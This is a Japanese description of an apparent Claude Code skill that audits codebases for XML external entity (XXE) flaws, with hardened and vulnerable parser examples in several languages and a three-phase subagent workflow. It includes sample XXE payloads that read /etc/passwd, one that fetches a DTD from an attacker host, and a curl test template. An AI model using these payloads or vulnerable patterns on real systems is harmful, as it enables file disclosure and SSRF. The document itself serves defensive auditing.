sast-xxe について
sast-xxeは、コードベースのXML外部エンティティ(XXE)脆弱性を調べるセキュリティ監査スキルです。偵察、入力経路の段階的な検証、結果の統合を行い、事前に `sast/architecture.md` が必要です。
主な機能
- 013段階のXXE監査
- 02XML解析箇所の特定
- 03ユーザー入力経路の検証
- 04検出結果の統合
活用シーン
- 01アップロードデータのXML解析監査
- 02パーサーのXXE対策確認
- 03ユーザー入力からパーサーへの追跡
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ utkusen/ sast-skills --skill sast-xxeインストール後、Claude Code で/sast-xxeを入力して読み込まれたか確認します。
詳細
XML 外部エンティティ(XXE)の検出
コードベース内の XXE 脆弱性を見つけるため、対象を絞ったセキュリティ評価を行います。このスキルでは、サブエージェントを使った 3 段階のアプローチを採用します。recon(外部エンティティが安全に無効化されていない XML 解析箇所を探します)、batched verify(ユーザー提供の入力がそれらのパーサーに到達するかを、3 件ずつ並列で追跡します)、merge(各バッチの結果を 1 つのレポートにまとめます)。
前提条件:sast/architecture.md が存在している必要があります。存在しない場合は、先に分析スキルを実行してください。
XXE とは
XXE は、外部エンティティへの参照を含むドキュメントを XML パーサーが処理し、外部エンティティの解決が有効になっている場合に発生します。XML 入力を提供できる攻撃者は、これを利用して任意のローカルファイルの読み取り、サーバーサイドリクエストフォージェリ(内部ネットワークの調査)、エンティティ展開によるサービス拒否(Billion Laughs)、または一部のスタックで OS コマンドの実行を引き起こすことができます。
基本的なパターンは、ユーザーが制御できる XML が、DTD 処理または外部エンティティ解決を無効化していない XML パーサーに到達することです。
XXE に該当するもの
- 外部エンティティの解決がデフォルトで有効になっており、明示的な強化対策が適用されていない状態で XML を解析すること
file://またはhttp://URI を参照するSYSTEMエンティティ宣言:<!ENTITY xxe SYSTEM "file:///etc/passwd">- デフォルトで有効になっているパーサー(Java DOM/SAX、PHP SimpleXML/DOMDocument、libxml2 ベースのパーサー)で、DTD 処理が明示的に無効化されていないこと
- DTD 内でのパラメーターエンティティインジェクション:
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; - XInclude 処理が有効な場合の XInclude インジェクション
- XXE を介した SSRF:
http://またはhttps://の外部エンティティ URL を使って内部サービスにアクセスすること - 帯域外の情報流出(DNS、攻撃者が制御するサーバーへの HTTP コールバック)を介したブラインド XXE
XXE に該当しないもの
以下は XXE として報告しないでください。
- XML を介した XSS:エスケープせずに XML データを HTML としてレンダリングすること。これは XSS です
- XML を介さない SSRF:別の仕組みによって HTTP リクエストが発生すること。これは SSRF です
- サーバーが完全に制御するデータの XML 解析:ユーザーの影響を受けない設定ファイル、同梱リソース、マイグレーションスクリプトなど。悪用可能ではありません
- 安全なパーサー:外部エンティティがデフォルトで無効になっており、再度有効にする方法もないライブラリ(例:Python の
defusedxml、信頼できない入力に対する Ruby のデフォルト設定のnokogiri)
XXE を防止するパターン
以下のパターンが見られる場合、そのパーサーは脆弱ではない可能性が高いです。
1. DTD/外部エンティティの無効化(Java DOM)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
2. 外部エンティティの無効化(Java SAX)
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
3. 外部エンティティの無効化(Java StAX/XMLInputFactory)
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
4. Python — defusedxml(常に安全)
import defusedxml.ElementTree as ET
tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
5. Python — resolve_entities=False を指定した lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)
6. PHP — libxml_disable_entity_loader(PHP < 8.0)/LIBXML_NONET フラグ
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
7. .NET — DtdProcessing.Prohibit を指定した XmlReaderSettings
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
8. Node.js — xml2js(v0.5 以降ではデフォルトで安全)
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);
脆弱な例と安全な例
Python — stdlib xml.etree.ElementTree(CPython < 3.8 ではデフォルトで脆弱/expat の特異な挙動)
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)
Python — lxml
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tree = etree.fromstring(data) # external entities resolved, network access allowed
return render(tree)
# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
data = request.body
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(data, parser)
return render(tree)
Java — DocumentBuilder(DOM)
// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
Java — SAXParser
// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
Java — XMLInputFactory(StAX)
// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
PHP — SimpleXML/DOMDocument
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
return simplexml_load_string($xml); // resolves external entities
}
// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
$doc = new DOMDocument();
$doc->loadXML($xml); // external entities enabled by default
return $doc;
}
// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET);
return $doc;
}
.NET — XmlDocument/XmlTextReader
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream); // external entities resolved
// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);
// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disables external entity resolution
doc.Load(stream);
// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
Node.js — libxmljs
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
const doc = libxml.parseXmlString(req.body);
res.send(doc.toString());
});
// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
Ruby — Nokogiri
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
Nokogiri::XML(xml_input) { |config| config.noent }
end
# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
Nokogiri::XML(xml_input)
end
Go — encoding/xml
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"
func parseXML(data []byte) {
doc := etree.NewDocument()
doc.ReadFromBytes(data) // check library's entity resolution behaviour
}
// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.
実行
このスキルは、サブエージェントを使用して 3 つのフェーズで実行されます。sast/architecture.md の内容をすべてのサブエージェントにコンテキストとして渡してください。
フェーズ 1:脆弱な XML 解析箇所を探す
以下の指示をサブエージェントに与えて起動してください。
目標:外部エンティティ解決が明示的に無効化されていない状態で XML を解析しているコードベース内の箇所をすべて見つけてください。結果を
sast/xxe-recon.mdに書き込んでください。コンテキスト:プロジェクトのアーキテクチャ概要が提供されます。これを使用して、技術スタック、使用されている XML ライブラリ、XML を受け付けるエンドポイントを把握してください。
検索対象 — 脆弱な XML 解析パターン:
DTD/外部エンティティを無効化する、隣接した対になる強化設定がない XML 解析呼び出しをすべて指摘してください。入力がユーザー制御かどうかは、まだ追跡しません。それはフェーズ 2 の作業です。
- Python — 標準ライブラリのパーサー(ドロップイン代替として defusedxml が使用されている場合を除き、指摘する):
xml.etree.ElementTree.parse(...)、ET.fromstring(...)、ET.iterparse(...)xml.dom.minidom.parseString(...)、xml.dom.minidom.parse(...)xml.sax.parseString(...)、xml.sax.parse(...)xmltodict.parse(...)(expat を使用 — 一般にエンティティ展開に対して安全ですが、レビュー対象として指摘する)- Python — lxml(
resolve_entities=Falseとno_network=Trueが設定されていない場合は指摘する):
etree.parse(...)、etree.fromstring(...)、etree.XML(...)resolve_entities=Falseがないetree.XMLParser(...)objectify.parse(...)、objectify.fromstring(...)- Java — 対応する強化機能が設定されずにインスタンス化されているものをすべて指摘する:
DocumentBuilderFactory.newInstance()→newDocumentBuilder()→parse(...)SAXParserFactory.newInstance()→newSAXParser()→parse(...)XMLInputFactory.newInstance()→createXMLStreamReader(...)- XML ソースとともに使用される
TransformerFactory.newInstance()→newTransformer()SchemaFactory.newInstance(...)→newSchema(...)- Spring:エンティティ展開が無効化されていない
Jaxb2Marshallerを使用するMarshallingHttpMessageConverter- PHP — PHP 7.x では直前に
libxml_disable_entity_loader(true)がないもの、PHP 8.x ではLIBXML_NONETフラグがないものを指摘する:
simplexml_load_string(...)、simplexml_load_file(...)DOMDocument::loadXML(...)、DOMDocument::load(...)xml_parser_create()とともに使用されるxml_parse(...)- 生の文字列を使用する
SimpleXMLElement::__construct(...)- .NET —
DtdProcessing.ProhibitとXmlResolver = nullの両方がないものを指摘する:
new XmlDocument()の後に続く.Load(...)または.LoadXml(...)new XmlTextReader(...)(レガシー — 古い .NET では DTD がデフォルトで有効)XPathDocument(...)、XDocument.Load(...)、XElement.Load(...)XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }を指定していないXmlReader.Create(...)- Node.js — 信頼できない入力の解析時にこれらのライブラリを指摘する:
libxmljs.parseXmlString(...)、libxmljs.parseXml(...)node-expatのパーサーのインスタンス化sax.createStream(...)/sax.parser(...)— エンティティ展開が使用されているか確認するxml2js.parseString(...)— v0.5 以降では一般に安全です。explicitArrayやその他のオプションから古いバージョンの使用またはエンティティ展開の再有効化が疑われる場合に限り指摘する- Ruby — エンティティ展開を有効にするオプションとともに使用されている場合に指摘する:
Nokogiri::XML(input) { |config| config.noent }—noentはエンティティの置換を有効にしますREXML::Document.new(input)— REXML はエンティティ展開による DoS に対して脆弱です。エンティティ展開の使用を確認するLibXML::XML::Document.string(input)— エンティティ関連のオプションを確認する- Go — エンティティ解決をサポートするサードパーティ製 XML ライブラリを指摘する:
github.com/beevik/etreeの使用 — ネットワーク/エンティティ解決が設定されているか確認する- 標準の
encoding/xmlは一般に安全です(外部エンティティを解決しません)。カスタムのエンティティ処理と組み合わされている場合に限り指摘する対象外(安全なパターンのため、指摘しないでください):
- XML パーサーとして
import defusedxmlが使用されている(Python)etree.XMLParser(resolve_entities=False, no_network=True)(lxml)disallow-doctype-decl機能がtrueに設定されている Java のDocumentBuilderFactoryIS_SUPPORTING_EXTERNAL_ENTITIES = falseが設定されている Java のXMLInputFactoryXmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }(.NET)noentやその他のエンティティ展開オプションを指定しない Nokogiri のデフォルトの使用- 完全に静的で同梱され、ユーザーの影響を受けない XML ファイルの解析(例:ユーザー入力を伴わず、起動時にディスクから設定を読み込む場合)
出力形式 —
sast/xxe-recon.mdに書き込んでください:# XXE Recon: [Project Name] ## Summary Found [N] XML parsing sites without explicit external entity hardening. ## Vulnerable Parsing Sites ### 1. [説明的な名前 — 例:「アップロードハンドラー内で resolve_entities=False を指定せずに使用される lxml.etree.fromstring」] - **File**: `path/to/file.ext` (lines X-Y) - **Function / endpoint**: [関数名またはルート] - **Parser / library**: [例:lxml etree/Java DocumentBuilder/PHP DOMDocument] - **Missing hardening**: [欠けている保護機能 — 例:「resolve_entities が False に設定されていない」、「disallow-doctype-decl 機能が設定されていない」] - **Input variable(s)**: `var_name` — [何を表しているように見えるかの簡単な説明。例:「HTTP リクエスト本文」、「ファイルアップロードの内容」、「取得元不明」] - **Code snippet**:[XML 解析呼び出しとその前後のコンテキスト]
[箇所ごとに繰り返す]
フェーズ間:調査結果を確認する
フェーズ 1 が完了したら、sast/xxe-recon.md を読みます。要約に脆弱な解析箇所が 0 件見つかったと記載されている場合(またはファイルの「Vulnerable Parsing Sites」に項目がない場合)は、フェーズ 2 またはフェーズ 3 を起動しないでください。代わりに、以下を sast/xxe-results.md に書き込み、sast/xxe-recon.md を削除して、停止します。
No vulnerabilities found.
調査結果で脆弱な解析箇所が 1 件以上特定された場合に限り、フェーズ 2 に進みます。
フェーズ 2:検証 — ユーザー入力を追跡する(バッチ処理)
フェーズ 1 が完了したら、sast/xxe-recon.md を読み、「Vulnerable Parsing Sites」の項目を最大 3 箇所ずつのバッチに分けます(番号付きの ### セクション(### 1.、### 2. など)を使用します)。バッチごとにサブエージェントを 1 つ起動し、並列で実行します。各サブエージェントは、割り当てられた箇所のみ汚染を追跡し、結果を専用のバッチファイルに書き込みます。
バッチ分割の手順(サブエージェントではなく、オーケストレーターが実施します):
sast/xxe-recon.mdを読み、番号付きの箇所セクション(### 1.、### 2. など)の数を数えます。- 箇所を最大 3 件ずつのバッチに分けます。例:8 箇所の場合は 3 バッチ(1-3、4-6、7-8)です。
- 各バッチについて、調査ファイルから該当する箇所セクションの全文を抽出します。
- すべてのバッチサブエージェントを並列で起動し、それぞれに割り当てた箇所のみを渡します。
- 各サブエージェントは
sast/xxe-batch-N.mdに書き込みます。N は 1 から始まるバッチ番号です。 sast/architecture.mdからプロジェクトの主要な言語/フレームワークを特定し、上記の「Vulnerable vs. Secure Examples」セクションから該当する例のみを選択します。たとえば、プロジェクトで DocumentBuilder を使用する Java が採用されている場合は、Java 関連の例のみを含めます。以下の[TECH-STACK EXAMPLES]で指定されている箇所に、選択した例を各サブエージェントへの指示に含めます。
各バッチサブエージェントに、以下の指示を与えます(バッチ固有の値に置き換えてください)。
目標:割り当てられた各脆弱な XML 解析箇所について、ユーザーが指定した値が XML パーサーに到達するかどうかを判断してください。目的は XXE 脆弱性を見つけることです。結果は
sast/xxe-batch-[N].mdに記載してください。割り当てられた解析箇所(調査フェーズより):
[割り当てられた箇所のセクション全文を、元の番号を維持してここに貼り付けてください]
コンテキスト:プロジェクトのアーキテクチャ概要が提供されます。これを使用して、リクエストのエントリーポイント、ミドルウェア、ファイルアップロードハンドラー、アプリケーション内でのデータの流れを把握してください。
XXE の参考情報 — 調査対象:
ユーザーが制御する XML は、外部エンティティの解決を許可するパーサーに、適切な保護なしで渡してはなりません。各箇所の XML 入力元をたどってください。
各解析箇所について、XML 入力変数をさかのぼり、その起点を特定してください:
- 直接的なユーザー入力 — XML コンテンツがリクエストの入力元から直接割り当てられている場合:
- HTTP リクエストボディ(特に
Content-Type: application/xmlまたはtext/xmlのエンドポイント):request.body、req.body、request.data、php://input、HttpContext.Request.Body- ファイルアップロード:
request.FILES、req.file、multipart/form-dataフィールド- XML スニペットを含む HTTP クエリパラメーターまたはフォームフィールド
- XML リソースを参照する URL パスパラメーター
- 間接的なユーザー入力 — 変換や中間処理を経て、XML がユーザー入力から生成される場合:
- ユーザーが指定したファイルパスを使ってファイルを開き、解析する
- ユーザーが指定した URL から取得したレスポンスを XML として解析する
- 解析前にユーザー入力を XML テンプレートに埋め込む(XML 構造自体へのインジェクションの可能性)
- ヘルパー関数を通じて変数が渡される — 呼び出しチェーン全体をたどる
- 二次的な入力 — XML コンテンツが以前のユーザー制御によるアップロードや入力からデータベースまたはファイルシステムなどに保存され、後で解析される場合:
- 保存コンテンツの元の書き込み箇所を特定する — その時点でユーザーが指定したものか?
- 書き込み時に検証またはサニタイズされていたか?
- サーバー側/ハードコードされた入力元 — XML が同梱リソース、起動時に読み込まれる設定ファイル、またはユーザーの影響を受けないサーバー生成コンテンツに由来する場合、この箇所はユーザー入力に起因する XXE として悪用できません。
各解析箇所について、悪用可能性も評価してください:
- レスポンスは呼び出し元に返されるか?(リフレクテッド XXE — 攻撃者がファイルの内容を直接読み取れる)
- レスポンスは返されないが、影響を観測できるか?(ブラインド XXE — DNS/HTTP の OOB 通信またはエラーメッセージによるデータ流出)
- アプリケーションは認証の背後にあるか?(深刻度は下がりますが、脆弱性がなくなるわけではありません)
- パーサーは特定の XML スキーマのみを受け付けるコンテキストで使用されているか?(例:SOAP エンベロープの検証 — DTD 処理が有効なら、依然として悪用可能です)
このプロジェクトの技術スタックにおける脆弱な例と安全な例:
[TECH-STACK EXAMPLES]
分類:
- 脆弱:ユーザー入力が XML パーサーに到達することが明らかで、パーサーに外部エンティティ対策がない。レスポンスまたは帯域外チャネルを通じてデータを流出できる。
- 脆弱の可能性あり:ユーザー入力がパーサーに到達する可能性が高い(間接的なデータフロー)、またはパーサーに対策がないものの、悪用経路が一部不明瞭である。
- 脆弱ではない:XML の入力元が完全にサーバー側で制御されている、またはパーサーに適切な対策が施されている(DTD が無効、外部エンティティが無効)。
- 手動確認が必要:入力元を確実に特定できない、または対策の設定が複雑で、実行時の検証が必要。
出力形式 —
sast/xxe-batch-[N].mdに記載してください:# XXE バッチ [N] の結果 ## 検出結果 ### [脆弱] 説明的な名称 - **ファイル**:`path/to/file.ext`(行 X-Y) - **エンドポイント/関数**:[ルートまたは関数名] - **問題**:[例:「HTTP リクエストボディが `resolve_entities=False` を指定せずに lxml etree.fromstring に直接渡される」] - **汚染データの追跡**:[エントリーポイントから解析呼び出しまでを段階的に記載 — 例:「request.body → xml_data → etree.fromstring(xml_data)」] - **パーサー**:[ライブラリと既知の場合はバージョン] - **悪用可能性**:[リフレクテッド/ブラインド OOB/DoS のみ — 攻撃者が達成できることを説明] - **影響**:[例:「file:// エンティティを介して任意のローカルファイルを読み取る」、「http:// エンティティを介して内部サービスに SSRF を実行する」、「エンティティ展開による DoS」] - **修正方法**:[具体的な修正 — 例:「defusedxml を使用する」、「resolve_entities=False と no_network=True を設定する」、「disallow-doctype-decl 機能を true に設定する」] - **動的テスト**:[検出結果を確認するための curl コマンドまたはペイロード。 正確なエンドポイント、Content-Type ヘッダー、XXE ペイロードを示してください。 例: curl -X POST https://app.example.com/api/import
-H "Content-Type: application/xml"
-d ']>&xxe;' レスポンス本文に /etc/passwd の内容が含まれていないか確認してください。]### [脆弱の可能性あり] 説明的な名称 - **ファイル**:`path/to/file.ext`(行 X-Y) - **エンドポイント/関数**:[ルートまたは関数名] - **問題**:[例:「XML の入力元はヘルパー関数を介したユーザーアップロードファイルと考えられる」または「パーサーに対策がないが、入力元の一部が不明瞭」] - **汚染データの追跡**:[不確かな箇所を明示した、可能な限りの追跡] - **懸念事項**:[不確実であってもリスクがある理由] - **修正方法**:[適切なパーサー対策を適用する] - **動的テスト**:[試行するペイロード]
### [脆弱ではない] 説明的な名称 - **ファイル**:`path/to/file.ext`(行 X-Y) - **エンドポイント/関数**:[ルートまたは関数名] - **理由**:[例:「XML は起動時に同梱設定ファイルから読み込まれ、ユーザーの影響を受けない」または「パーサーとして defusedxml が使用されている」] ### [手動確認が必要] 説明的な名称 - **ファイル**:`path/to/file.ext`(行 X-Y) - **エンドポイント/関数**:[ルートまたは関数名] - **不確実な点**:[入力元またはパーサーの設定を特定できなかった理由] - **提案**:[手動で追跡する内容 — 例:「xml_utils.py の `load_document()` をたどり、引数がユーザーリクエストに由来するかを確認する」]
Phase 3: マージ — バッチ結果の統合
Phase 2 のすべてのバッチサブエージェントが完了したら、すべての sast/xxe-batch-*.md ファイルを読み込み、1 つの sast/xxe-results.md に統合します。これを直接行うのはオーケストレーターであり、サブエージェントは不要です。
マージ手順:
sast/xxe-batch-1.md、sast/xxe-batch-2.md、... のすべてのファイルを読み込みます。- 各バッチファイルからすべての検出事項を集め、元の分類とすべての詳細フィールドを保持したまま、1 つのリストにまとめます。
- エグゼクティブサマリー用に、すべてのバッチの合計件数を数えます。
- 次の形式を使って、統合レポートを
sast/xxe-results.mdに書き込みます。
# XXE Analysis Results: [Project Name]
## Executive Summary
- Parsing sites analyzed: [total across all batches]
- Vulnerable: [N]
- Likely Vulnerable: [N]
- Not Vulnerable: [N]
- Needs Manual Review: [N]
## Findings
[All findings from all batches, grouped by classification:
VULNERABLE first, then LIKELY VULNERABLE, then NEEDS MANUAL REVIEW, then NOT VULNERABLE.
Preserve every field from the batch results exactly as written.]
sast/xxe-results.mdの書き込み後、中間ファイルをすべて削除します。sast/xxe-recon.mdとsast/xxe-batch-*.mdが対象です。
重要な注意事項
sast/architecture.mdを読み込み、その内容をすべてのサブエージェントにコンテキストとして渡してください。- Phase 2 は Phase 1 の完了後に実行する必要があります。Phase 2 は偵察の出力に依存しています。
- Phase 3 は Phase 2 のすべてのバッチ完了後に実行する必要があります。Phase 3 はすべてのバッチ出力に依存しています。
- バッチサイズは サブエージェント 1 つにつき解析箇所 3 件です。解析箇所が合計 1~3 件の場合は、サブエージェントを 1 つ使用します。10 件の場合は、サブエージェントを 4 つ使用します(3+3+3+1)。
- すべてのバッチサブエージェントを並列に起動してください。順次実行しないでください。
- 各バッチサブエージェントに渡すのは、偵察ファイル全体ではなく、割り当てられた解析箇所のテキストのみです。これにより、各サブエージェントのコンテキストを小さく、焦点を絞ったものにできます。
- Phase 1 は構造の確認のみを行います。入力元に関係なく、外部エンティティ対策が明示的に施されていない XML 解析呼び出しをすべて指摘してください。Phase 1 ではユーザー入力をたどろうとしないでください。それは Phase 2 の作業です。
- Phase 2 は汚染解析のみを行います。Phase 1 で見つかった各箇所について、XML 入力をその発生元までたどります。ユーザーが制御可能なソースに由来する場合、その箇所は実際の脆弱性です。
- パーサーのデフォルト動作が重要です。Java DOM/SAX、PHP SimpleXML/DOMDocument、lxml はデフォルトで外部エンティティを解決するため、明示的な対策が必要です。Python の
defusedxmlと Go のencoding/xmlはデフォルトで安全です。 LIBXML_NOENTを保護機能と混同しないでください。PHP では、LIBXML_NOENTはエンティティを値に展開するものであり、エンティティの読み込みを無効にはしません。ネットワークエンティティに対する保護を提供するのは、libxml_disable_entity_loader(true)またはLIBXML_NONETのみです。- XInclude は別の攻撃経路です。Java パーサーで
XIncludeAware処理が有効になっている場合や、ほかの場所でxi:includeが処理されている場合は、個別に指摘してください。従来のENTITY宣言がなくても、ローカルファイルを読み取れる可能性があります。 - 判断に迷った場合は、「脆弱性なし」ではなく「手動レビューが必要」に分類してください。セキュリティ評価では、偽陰性は偽陽性よりも深刻です。
- 汚染は間接的に伝播することがあります。あるハンドラーでアップロードされたファイルがディスクに保存され、別のバックグラウンドジョブで解析される場合があります。非同期処理経路も含め、チェーン全体を追跡してください。
- ブラインド XXE(レスポンスに出力されない場合)も、攻撃者が制御するサーバーへの DNS または HTTP コールバックを通じて悪用できます。解析された XML がレスポンスにエコーバックされないという理由だけで、検出事項を却下しないでください。
- 中間ファイルをクリーンアップしてください。最終版の
sast/xxe-results.mdを書き込んだ後、sast/xxe-recon.mdとすべてのsast/xxe-batch-*.mdファイルが削除されていることを確認してください(検出事項が 0 件で早期終了する場合は、sast/xxe-recon.mdのみを削除します)。